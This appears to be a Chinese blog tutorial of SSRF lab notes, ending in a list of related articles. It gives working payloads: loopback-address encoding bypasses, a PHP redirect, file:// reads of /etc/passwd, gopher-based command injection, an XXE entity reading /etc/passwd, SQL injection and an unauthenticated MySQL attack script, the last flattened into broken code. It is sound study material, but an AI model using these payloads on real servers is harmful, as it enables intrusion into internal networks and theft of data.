当前位置: 首页 > ds >正文

SSRF学习

靶场

fofa搜:“重庆橙子科技”,里面找SSRF。

SSRF基础知识

绕过127限制

要查看127.0.0.1/flag.php,但是127被过滤。

绕过方法:使用不同的进制表示127.0.0.1即可。

二进制:01111111.00000000.00000000.00000001
八进制:17700000001
十六进制:7F000001
十进制:2130706433
八进制:http://017700000001/flag.php
十六进制:http://0x7F000001/flag.php
十进制:http://2130706433/flag.php

302重定向绕过ip地址限制

在本地搭建一个非局域网下的网站,网站中写入302重定向的代码,让目标访问此网站,然后即可重定向到127访问到flag文件。

<?php
header('location:http://127.0.0.1/flag.php');
?>

SSRF内网渗透

SSRF前置知识NAT

攻击目标:从外网无法访问的内部系统。

形成原因:大部分是由于服务端是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤或限制。

攻击方式:借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。

伪协议

file:///etc/passwd      读取文件passwd
file:///etc/hosts       显示当前操作系统网卡的ip
file:///proc/net/arp    显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_tire   显示当前网段路由信息

寻找存活的主机

获取到IP后,对内网主机进行扫码,使用arp协议。

访问一个其他的ip,如果进行访问,一定会发送arp请求,对方必然要回复。

使用BP直接爆破访问所有的ip
然后使用file:///proc/net/arp,读取存活的主机

寻找开放的端口

在IP后添加端口,时间长,不推荐。

使用集群炸弹攻击,ip和端口。根据应答的长度来判断端口是否打开。

命令执行

直接执行:

http://172.250.250.4/shell.php?cmd=ls

gopher和占位符:

gopher://172.250.250.4

post提交

靶场的http:172.250.250.5

首先查看源代码,找到POST传参的名称。

构造payload:

POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-from-urlencoded
Content-Length: 12
​
ip=127.0.0.1

使用gopher伪协议,然后抓包:

将构造的payload放在参数后面:

将参数进行两次url编码即可。

进行命令执行:

在ip后加;要执行的命令即可。

SSRF配合其他漏洞

用SSRF进行XXE漏洞利用

file查网段,dict查端口,http目录扫描

查看源代码,发现对用户名和密码的处理类似于xml,构造payload,使用gopher协议模拟访问一下。

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 65
​
<user><username>admin</username><password>admin</password></user>

回复的结果也是xml的格式。

回显了用户名。构造payload代码:

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 124(和下面的字符数量对应)
​
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><username>&xxe;</username><password>admin</password></user>

得到文件。

用SSRF进行SQL注入

GET提交

直接在POST提交的链接后面跟参数,和SQL注入流程相同,然后将注入语句进行两次URL编码。将--+后面的+换成%20。

POST提交

和XXE漏洞一样,使用gopher伪协议,构造POST提交的payload

POST /Less-11 HTTP/1.1
Host: 172.250.250.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
​
uname=admin&passwd=admin&submit=submit

用SSRF进行文件上传

multipart/from-data:媒体类型(multipart/from-data)的数据体由多个部分组成,这些部分由于一个固定的边界值分隔。

构造payload:

同样,gopher伪协议后再在后面加payload。进行两次URL编码。

利用SSRF进行文件包含

直接在URL中使用file伪协议,空格用%20代替。

利用SSRF对mysql进行未授权查询

目的:利用SSRF来执行自己想执行的mysql语句。

1、打开抓包:使用tcpdump(命令行)和wireshark(图形化)

tcpdump -i lo port 3306 -w mysql.pcapng

2、写入指令:

mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"

3、把抓取的文件复制到本地,用wireshark打开

右键:跟踪流->TCP流
筛选过滤:源端口任意,目标端口3306

4、复制数据,去掉换行符

5、ASCII码转换URL编码。

转换脚本:

import sys
def results(s):a=[s[i:i+2] for i in range(0,len(s),2)]return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":s=sys.argv[1]print(results(s))

6、复制转换后的内容,更改ip

7、提交payload

http://www.xdnf.cn/news/748.html

相关文章:

  • 【Agent】AI智能体评测基座AgentCLUE-General
  • 21.Chromium指纹浏览器开发教程之触摸屏点指纹定制
  • RHCSA Linux 系统文件内容显示2
  • 云梦数字化系统 介绍
  • 2025 第十六届蓝桥杯Java B组
  • 信号的概念
  • 《软件设计师》复习笔记(2.4)——输入输出、中断、总线、可靠性
  • TensorFlow介绍
  • 漫游git rebase + 浅谈git checkout和git branch -f的分支命令
  • Linux内核哈希表学习笔记
  • Vue3 + TypeScript + Pinia 搭建一套企业级的开发脚手架
  • 数字化时代下的工业物联网智能体开发平台策略
  • Vue3中provide和inject数据修改规则
  • 代码随想录训练营第36天 ||1049. 最后一块石头的重量 II 494. 目标和 474. 一和零
  • C++——智能指针
  • 防抖与节流的理解与应用
  • 【C++】win 10 / win 11:Dev-C++ 下载与安装
  • 数据结构实验7.1:二叉树的遍历
  • C语言strlen和sizeof区分
  • Cadence学习笔记之---库元件制作、元件放置
  • TDengine 性能监控与调优实战指南(二)
  • 指针(2)
  • Linux 网络基础(二) (传输协议层:UDP、TCP)
  • cloudstudio学习笔记之openwebui
  • 嵌入式面试题解析:二维数组,内容与总线,存储格式
  • iwebsec靶场 文件包含关卡通关笔记11-ssh日志文件包含
  • Boost.Asio 确实属于 异步非阻塞模型
  • 多模态大语言模型arxiv论文略读(三十一)
  • 高并发场景下重试策略的演进设计
  • 【Linux】Rhcsa复习4